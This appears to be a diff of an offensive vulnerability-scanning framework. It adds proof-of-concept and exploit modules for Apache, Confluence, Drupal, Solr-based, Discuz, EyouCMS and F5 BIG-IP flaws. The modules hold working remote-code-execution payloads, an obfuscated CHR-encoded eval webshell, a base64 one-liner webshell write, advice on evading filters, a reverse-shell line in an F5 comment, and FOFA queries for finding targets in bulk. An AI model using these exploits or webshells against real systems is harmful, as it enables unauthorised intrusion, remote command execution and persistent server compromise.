except:
|
||||
banner = ""
|
||||
|
||||
data = "echo; id"
|
||||
|
||||
if banner != "" and "Apache/2.4.49" in banner:
|
||||
# target_url = url + ".%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh"
|
||||
# 坑点在这
|
||||
target_url = url + ".%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
|
||||
target_res = requests.post(target_url, headers=headers, data=data, verify=False, timeout=5)
|
||||
if "uid" in target_res.text and "gid" in target_res.text and "groups" in target_res.text:
|
||||
result['CVE'] = NAME1
|
||||
result['target_url'] = url
|
||||
return result
|
||||
if banner != "" and "Apache/2.4.50" in banner:
|
||||
target_url = target + "/cgi-bin/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/.%%%33%32%%36%35/bin/sh"
|
||||
target_res = requests.post(target_url, headers=headers, data=data, verify=False, timeout=5)
|
||||
if "uid" in target_res.text and "gid" in target_res.text and "groups" in target_res.text:
|
||||
result['CVE'] = NAME2
|
||||
result['target_url'] = url
|
||||
return result
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("http://127.0.0.1:8080")
|
||||
43
Moudle/Confluence/CVE_2021_26084.py
Normal file
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import headers
|
||||
from bs4 import BeautifulSoup
|
||||
|
||||
|
||||
|
||||
########################################################################################################################
|
||||
# 脚本信息
|
||||
NAME='CVE_2021_26084'
|
||||
AUTHOR="Trans"
|
||||
REMARK='Confluence OGNL注入RCE'
|
||||
FOFA_RULE=''
|
||||
########################################################################################################################
|
||||
|
||||
def poc(target):
|
||||
|
||||
result={}
|
||||
url = target + "/pages/createpage-entervariables.action?SpaceKey=x"
|
||||
session = requests.Session()
|
||||
|
||||
try:
|
||||
cmd = "echo goodluckboy"
|
||||
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
|
||||
rawHTML = session.post(url, headers=headers, data=xpl_data)
|
||||
|
||||
soup = BeautifulSoup(rawHTML.text, 'html.parser')
|
||||
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
|
||||
if 'goodluckboy' in queryStringValue:
|
||||
result["target"] = target
|
||||
result["poc"] = NAME
|
||||
result["url"] = url
|
||||
return
|
||||
else:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("127.0.0.1")
|
||||
42
Moudle/Demo/Demo.py
Normal file
@@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import headers
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
|
||||
########################################################################################################################
|
||||
# 脚本信息
|
||||
NAME='Demo'
|
||||
AUTHOR="RabbitMask"
|
||||
REMARK='robots.txt敏感信息泄露'
|
||||
FOFA_RULE='对应漏洞框架的fofa语法'
|
||||
########################################################################################################################
|
||||
# 漏洞检测模块
|
||||
def poc(target):
|
||||
result={}
|
||||
try:
|
||||
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
|
||||
if "Disallow" in req.text:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['xxx'] = '按需求随便写,删了都行'
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
########################################################################################################################
|
||||
#以上为模板限制区域,以下为自由发挥区域
|
||||
########################################################################################################################
|
||||
# 漏洞利用模块
|
||||
def exp(target):
|
||||
try:
|
||||
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
|
||||
if "Disallow" in req.text:
|
||||
print(req.text)
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
exp('http://127.0.0.1')
|
||||
42
Moudle/Demo/Test.py
Normal file
@@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
from Config.config_requests import headers
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
|
||||
########################################################################################################################
|
||||
# 脚本信息
|
||||
NAME='Test'
|
||||
AUTHOR="RabbitMask"
|
||||
REMARK='万能test'
|
||||
FOFA_RULE=''
|
||||
########################################################################################################################
|
||||
# 漏洞检测模块
|
||||
def poc(target):
|
||||
result={}
|
||||
try:
|
||||
req = requests.get(target+'/admin/login/user.properties', headers=headers, timeout=3, verify=False)
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['status'] = req.status_code
|
||||
result['text'] = req.text
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
########################################################################################################################
|
||||
#以上为模板限制区域,以下为自由发挥区域
|
||||
########################################################################################################################
|
||||
# 漏洞利用模块
|
||||
def exp(target):
|
||||
try:
|
||||
req = requests.get(target+'/robots.txt', headers=headers, timeout=3, verify=False)
|
||||
if "Disallow" in req.text:
|
||||
print(req.text)
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
exp('http://127.0.0.1')
|
||||
89
Moudle/Discuz/discuz_version_change_getshell.md
Normal file
@@ -0,0 +1,89 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
discuz! X系列的全版本,其产品升级/转换的功能存在漏洞,可利用构造的恶意语句,将shell写入到config.inc.php配置文件,从而实现getshell。
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
discuz! X系列全版本
|
||||
|
||||
# 3、漏洞复现
|
||||
|
||||
漏洞利用的文件为utility/convert/index.php,选择其中一个版本,点击开始,抓取下一个页面的提交请求。
|
||||

|
||||

|
||||
|
||||
修改请求包的POST内容为如下,主要是修改红框中的内容:
|
||||
|
||||

|
||||
|
||||
```
|
||||
POST /Discuz_X3.2_SC_GBK/utility/convert/index.php HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 236
|
||||
Origin: http://127.0.0.1
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Referer: http://127.0.0.1/Discuz_X3.2_SC_GBK/utility/convert/index.php?a=config&source=d7.2_x2.0
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
a=config&source=d7.2_x2.0&submit=yes&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(112).CHR(104).CHR(112).CHR(105).CHR(110).CHR(102).CHR(111).CHR(40).CHR(41).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaaaaaa
|
||||
```
|
||||
|
||||
提交之后,相应的shell就写入到了/utility/convert/data/config.inc.php文件中,后面用蚁剑、冰蝎什么的连就可以了。
|
||||
|
||||
# 4、坑点
|
||||
|
||||
POST包中的source参数内容,为目标现在的版本,如果不对,提交请求会无效的。因版本比较多,手工党问题不大,但脚本批量的话,脚本中这个参数的值不多的话,大概率会漏报。
|
||||
|
||||
这里无论是漏洞利用的URL,还是最终写入到的URL中的文件,都有一个问题,那就是utility目录所在的位置,对于不同的站来说,很有可能不固定。网上下载的源码,这个目录是在网站根目录的上一级目录,手工的时候注意一下。脚本中是默认此目录在网站根目录了。
|
||||
|
||||
最重要的poc/exp的内容,其明文部分是eval("phpinfo();"); 只需要改双引号中的内容即可,比如shell为eval("$_POST['pass'];"); 但最终要转换为CHR类型的值。其中这个POST参数中的%0a%0d代表的是回车换行,在python中为\x0a\x0d,是为了躲避检查。CHR与STRING转换的脚本放在下面了。
|
||||
|
||||
# 5、CHR与STRING转换
|
||||
|
||||
## 5.1、CHR TO STRING
|
||||
|
||||
```
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import re
|
||||
|
||||
list1 = []
|
||||
st = "CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(99).CHR(104).CHR(111).CHR(32).CHR(39).CHR(97).CHR(98).CHR(99).CHR(39).CHR(59).CHR(63).CHR(62)"
|
||||
|
||||
ss = re.findall('\((\d+)\)+',str(st))
|
||||
#print(ss)
|
||||
for s in ss:
|
||||
s = chr(int(s))
|
||||
list1.append(str(s))
|
||||
|
||||
s = "".join(list1)
|
||||
print(s)
|
||||
```
|
||||
|
||||
## 5.2、STRING TO CHR
|
||||
|
||||
```
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
|
||||
list1 = []
|
||||
st = "<?php echo 'abc';?>"
|
||||
for s in st:
|
||||
chr_s = ord(s)
|
||||
list1.append("CHR("+str(chr_s)+")")
|
||||
|
||||
chr_ss = ".".join(list1)
|
||||
print(chr_ss)
|
||||
```
|
||||
|
||||
# 6、poc
|
||||
|
||||
poc默认漏洞URL的主目录是在网站根目录下了,可能会有漏报,POST参数中的source,poc中已经尽可能的多写了,不排除会有漏报的情况出现。配合框架可批量,测试脚本可发现漏洞。
|
||||
|
||||
若要getshell,直接更改poc_key中的相关内容即可,漏洞复现中也有写。
|
||||
51
Moudle/Discuz/discuz_version_change_getshell.py
Normal file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='discuz_version_change_getshell'
|
||||
AUTHOR="境心"
|
||||
REMARK='discuz 版本转换功能getshell漏洞'
|
||||
FOFA_RULE='app="Powered-by-Discuz!NT"'
|
||||
FOFA_RULE='app="Tencent-Discuz"' ###这个也可以的
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
poc_key = 'newconfig[aaa\x0a\x0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(101).CHR(99).CHR(104).CHR(111).CHR(32).CHR(39).CHR(116).CHR(104).CHR(105).CHR(115).CHR(32).CHR(105).CHR(115).CHR(32).CHR(97).CHR(32).CHR(102).CHR(114).CHR(105).CHR(101).CHR(110).CHR(100).CHR(108).CHR(121).CHR(32).CHR(116).CHR(101).CHR(115).CHR(116).CHR(44).CHR(32).CHR(80).CHR(108).CHR(101).CHR(97).CHR(115).CHR(101).CHR(32).CHR(99).CHR(104).CHR(101).CHR(99).CHR(107).CHR(32).CHR(97).CHR(110).CHR(100).CHR(32).CHR(114).CHR(101).CHR(112).CHR(97).CHR(105).CHR(114).CHR(32).CHR(118).CHR(117).CHR(108).CHR(110).CHR(101).CHR(114).CHR(97).CHR(98).CHR(105).CHR(108).CHR(105).CHR(116).CHR(105).CHR(101).CHR(115).CHR(46).CHR(39).CHR(59).CHR(34).CHR(41).CHR(59));//]'
|
||||
# utility目录在实际环境中的什么位置不确定,默认在网站根目录下,若不在网站根目录下的,会漏报
|
||||
vul_url = target+"/utility/convert/index.php"
|
||||
# 经测试,这里source可以写多个,能匹配多个版本,又不影响getshell时的功能,source越多,漏报越少
|
||||
data = {
|
||||
"a" :"config",
|
||||
"source": "ss7.5_x2.0",
|
||||
"source": "uch2.0_x2.0",
|
||||
"source" : "d7.2_x2.0",
|
||||
"source": "ss7.5_x1.5",
|
||||
"source": "uch2.0_x1.0",
|
||||
"source": "uch2.0_x1.5",
|
||||
"source": "d7.2_x1.5",
|
||||
"source": "d7.2_x1.0",
|
||||
"source": "ss7.5_x1.0",
|
||||
"submit" : "yes",
|
||||
poc_key : "aaaa"
|
||||
}
|
||||
requests.post(vul_url, headers=headers, data=data, verify=False, timeout=5)
|
||||
target_url = target+"/utility/convert/data/config.inc.php"
|
||||
target_res = requests.get(target_url, headers=headers, verify=False, timeout=5)
|
||||
if "this is a friendly test, Please check and repair vulnerabilities." in target_res.text:
|
||||
result['poc_url'] = target_url
|
||||
result['poc'] =NAME
|
||||
result['message'] = "存在版本转换功能getshell漏洞"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1/Discuz_X3.2_SC_GBK/")
|
||||
BIN
Moudle/Discuz/images/image-20210903135314303.png
Normal file
|
After Width: | Height: | Size: 56 KiB |
BIN
Moudle/Discuz/images/image-20210903135652209.png
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
Moudle/Discuz/images/image-20210903135909982.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
64
Moudle/Drupal/CVE_2018_7600.py
Normal file
@@ -0,0 +1,64 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import re
|
||||
import requests
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
########################################################################################################################
|
||||
# 脚本信息
|
||||
NAME='CVE_2018_7600'
|
||||
AUTHOR="RabbitMask"
|
||||
REMARK='Drupal 7 RCE'
|
||||
FOFA_RULE='app="Drupal-7"'
|
||||
########################################################################################################################
|
||||
# 漏洞检测模块
|
||||
def poc(target):
|
||||
result={}
|
||||
cmd='whoami'
|
||||
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': cmd}
|
||||
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
|
||||
try:
|
||||
r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False)
|
||||
rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
|
||||
form_build_id = rule1.findall(r.text)
|
||||
if form_build_id:
|
||||
get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
|
||||
post_params = {'form_build_id':form_build_id[0]}
|
||||
r = requests.post(target, params=get_params, data=post_params, verify=False)
|
||||
rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
|
||||
parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
|
||||
if parsed_result and len(parsed_result[0])>0 and len(parsed_result[0])<100:
|
||||
result['target']=target
|
||||
result['poc']=NAME
|
||||
result['whoami']=str(parsed_result[0])
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
########################################################################################################################
|
||||
#以上为模板限制区域,以下为自由发挥区域
|
||||
########################################################################################################################
|
||||
# 漏洞利用模块
|
||||
def exp(target,cmd):
|
||||
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': cmd}
|
||||
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
|
||||
try:
|
||||
r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False)
|
||||
rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
|
||||
form_build_id = rule1.findall(r.text)
|
||||
if form_build_id:
|
||||
get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
|
||||
post_params = {'form_build_id':form_build_id[0]}
|
||||
r = requests.post(target, params=get_params, data=post_params, verify=False)
|
||||
rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
|
||||
parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
|
||||
if parsed_result and len(parsed_result[0])>0:
|
||||
print(target,'Drupal-7',parsed_result[0])
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
exp('http://127.0.0.1')
|
||||
57
Moudle/ESAFENET/CNVD_2021_26058.py
Normal file
@@ -0,0 +1,57 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import re
|
||||
from Config.config_requests import headers
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME = 'CNVD_2021_26058'
|
||||
AUTHOR = "JDQ"
|
||||
REMARK = '亿赛通电子文档安全管理系统远程命令执行漏洞'
|
||||
FOFA_RULE = 'title="电子文档安全管理系统"'
|
||||
######################################################
|
||||
|
||||
|
||||
def poc(target):
|
||||
try:
|
||||
r = requests.get(target+"/solr/admin/cores",headers=headers, verify=False)
|
||||
if r.status_code == 200 and 'responseHeader' in r.text:
|
||||
result = re.search(
|
||||
r'<str name="name">([\s\S]*?)</str><str name="instanceDir">', r.text, re.I
|
||||
)
|
||||
core_name = result.group(1)
|
||||
return(POC_2(target, core_name))
|
||||
except :
|
||||
pass
|
||||
|
||||
|
||||
def POC_2(target, core_name):
|
||||
result={}
|
||||
url = target + \
|
||||
"/solr/"+ core_name + "/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20"
|
||||
files = {
|
||||
'stream.body': '''<?xml version="1.0" encoding="UTF-8"?>
|
||||
<RDF>
|
||||
<item/>
|
||||
</RDF>'''
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.post(url, data=files, verify=False)
|
||||
if r.status_code == 200 and 'responseHeader' in r.text:
|
||||
cmd = re.search(
|
||||
r'documents"><lst><arr name="title"><str>([\s\S]*?)</str></arr></lst>', r.text, re.I)
|
||||
res = cmd.group(1)
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['whoami'] = res
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("127.0.0.1")
|
||||
79
Moudle/EyouCMS/EyouCMS_qiantai_rce.md
Normal file
@@ -0,0 +1,79 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
eyoucms V1.4.0版本存在远程命令执行漏洞,在网站前台无需任何辅助,可直接写入webshell。
|
||||
|
||||
漏洞影响版本只有一个,实际环境中能不能遇到,看脸了。。
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
1.4.0单一版本
|
||||
|
||||
# 3、漏洞复现
|
||||
|
||||
## 3.1、坑点
|
||||
|
||||
先上POST包,提交后就在网站根目录下生成了testtest.php的poc文件:
|
||||
|
||||
```
|
||||
POST /EyouCMS-V1.4.1-UTF8-SP2/?m=api&c=ajax&a=get_tag_memberlist HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-type: application/x-www-form-urlencoded
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Cookie: PHPSESSID=q28egmgkmmogh09pm1gn9n2bj2; home_lang=cn; admin_lang=cn
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Length: 297
|
||||
|
||||
attarray=eyJ7cGhwfTEyM3svcGhwfSI6ICJ7cGhwfWZpbGVfcHV0X2NvbnRlbnRzKCcuL3Rlc3R0ZXN0LnBocCcsYmFzZTY0X2RlY29kZShiJ1BEOXdhSEFnWldOb2J5QWlkR2hwY3lCcGN5QmhJR1p5YVdWdVpHeDVJSFJsYzNRc0lGQnNaV0Z6WlNCamFHVmpheUJoYm1RZ2NtVndZV2x5SUhWd2JHOWhaQ0IyZFd4dVpYSmhZbWxzYVhScFpYTXVJajgrJykpO3svcGhwfSJ9&htmlcode=111111
|
||||
```
|
||||
|
||||
如下图,注意箭头标的几个位置,POST方法、URL、X-Requested-With、attarray参数内容,尤其是X-Requested-With和attarray参数内容(payload),payload生成方法后面详说。
|
||||
|
||||
坑点在这:
|
||||
|
||||
1. 若不是用的post方法,会失败;
|
||||
2. URL中?后面的内容一定要按图中的这样写;
|
||||
3. 请求的header中,X-Requested-With: XMLHttpRequest 一定要有,否则手工验证的时候,即使返回的读取成功,但还是没有写入成功shell;
|
||||
4. payload生成过程踩过坑了,按下面3.2中的方法生成即可;
|
||||
|
||||

|
||||
|
||||
## 3.2、生成payload
|
||||
|
||||
根据源码中的漏洞细节,其中eval会被替换为intval,需要将webshell进行base64加密传输绕过检测,同时构造将webshell写入目标机器的payload,将php标签转换为{php},将payload转换为数组格式,然后将数组转换为json格式,最后对其base64加密,生成最终的payload。
|
||||
|
||||
先看一下怎么用php生成这样的一个payload,上代码:
|
||||
|
||||
=>符号左边的是数组名,可自定义;右边的是实际的payload,这里是写的一句话。
|
||||
|
||||
```
|
||||
<?php
|
||||
print base64_encode(json_encode(array("{php}file_put_contents('./testtest.php',base64_decode('PHBocCBldmFsKCRfUkVRVUVTVFtjZXNoaV0pOz8'));{/php}"=>"{php}file_put_contents('./testtest.php',base64_decode('PHBocCBldmFsKCRfUkVRVUVTVFtjZXNoaV0pOz8+'));{/php}")));
|
||||
```
|
||||
|
||||
再看一下python如何生成这样的一个payload,上代码:
|
||||
|
||||
过程都是一样的。
|
||||
|
||||
```
|
||||
def creat_payload():
|
||||
payload_tmp1 = '''<?php echo "this is a friendly test, Please check and repair upload vulnerabilities."?>'''
|
||||
payload_tmp1_base64 = base64.b64encode(payload_tmp1.encode('utf-8'))
|
||||
payload_tmp2 = {
|
||||
"{php}123{/php}": "{php}file_put_contents('./testtest.php',base64_decode(" + str(
|
||||
payload_tmp1_base64) + "));{/php}"
|
||||
}
|
||||
payload = base64.b64encode(json.dumps(payload_tmp2).encode('utf-8'))
|
||||
return payload
|
||||
```
|
||||
|
||||
不过这里php生成的payload中,解密来看的话,/会被转义,即\/,但不影响实际效果。
|
||||
|
||||
# 4、poc
|
||||
|
||||
搭配框架可批量,若要getshell,替换脚本中的payload_tmp1内容即可。
|
||||
52
Moudle/EyouCMS/EyouCMS_qiantai_rce.py
Normal file
@@ -0,0 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import base64
|
||||
import json
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='EyouCMS_qiantai_rce'
|
||||
AUTHOR="境心"
|
||||
REMARK='易优CMS前台RCE'
|
||||
FOFA_RULE='app="eyoucms"'
|
||||
######################################################
|
||||
|
||||
def creat_payload():
|
||||
payload_tmp1 = '''<?php echo "this is a friendly test, Please check and repair upload vulnerabilities."?>'''
|
||||
payload_tmp1_base64 = base64.b64encode(payload_tmp1.encode('utf-8'))
|
||||
payload_tmp2 = {
|
||||
"{php}123{/php}": "{php}file_put_contents('./testtest.php',base64_decode(" + str(
|
||||
payload_tmp1_base64) + "));{/php}"
|
||||
}
|
||||
payload = base64.b64encode(json.dumps(payload_tmp2).encode('utf-8'))
|
||||
return payload
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
url = target + "/?m=api&c=ajax&a=get_tag_memberlist"
|
||||
headers = {
|
||||
"User-Agent" : ua,
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Content-type": "application/x-www-form-urlencoded" # 手工必须要有,脚本可以不用
|
||||
}
|
||||
data = {
|
||||
"attarray" : creat_payload(),
|
||||
"htmlcode" : "testtest"
|
||||
}
|
||||
res = requests.post(url, data=data, headers=headers, verify=False, timeout=5)
|
||||
if "this is a friendly test" in res.text:
|
||||
result['message'] = "存在eyoucms前台RCE漏洞"
|
||||
result['poc_url'] = target+"/testtest.php"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
# poc调用
|
||||
poc("http://127.0.0.1/EyouCMS-V1.4.0-UTF8-SP2/index.php/")
|
||||
BIN
Moudle/EyouCMS/image-20210908095353384.png
Normal file
|
After Width: | Height: | Size: 130 KiB |
54
Moudle/F5/CVE_2020_5902.py
Normal file
@@ -0,0 +1,54 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import json
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2020-5902'
|
||||
AUTHOR="Joker"
|
||||
REMARK='F5 BIG-IP 远程代码执行漏洞1'
|
||||
FOFA_RULE='title="BIG-IP® ;- Redirect"或icon_hash="-335242539"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vuln_url = target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
|
||||
# 其他漏洞触发点
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami
|
||||
#https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
|
||||
# 反弹shell
|
||||
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
|
||||
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26/dev/tcp/127.0.0.1/4444+0>%261
|
||||
# https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/1.txt
|
||||
headers = {
|
||||
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Accept-Language":"zh-CN,zh;q=0.9"
|
||||
}
|
||||
try:
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
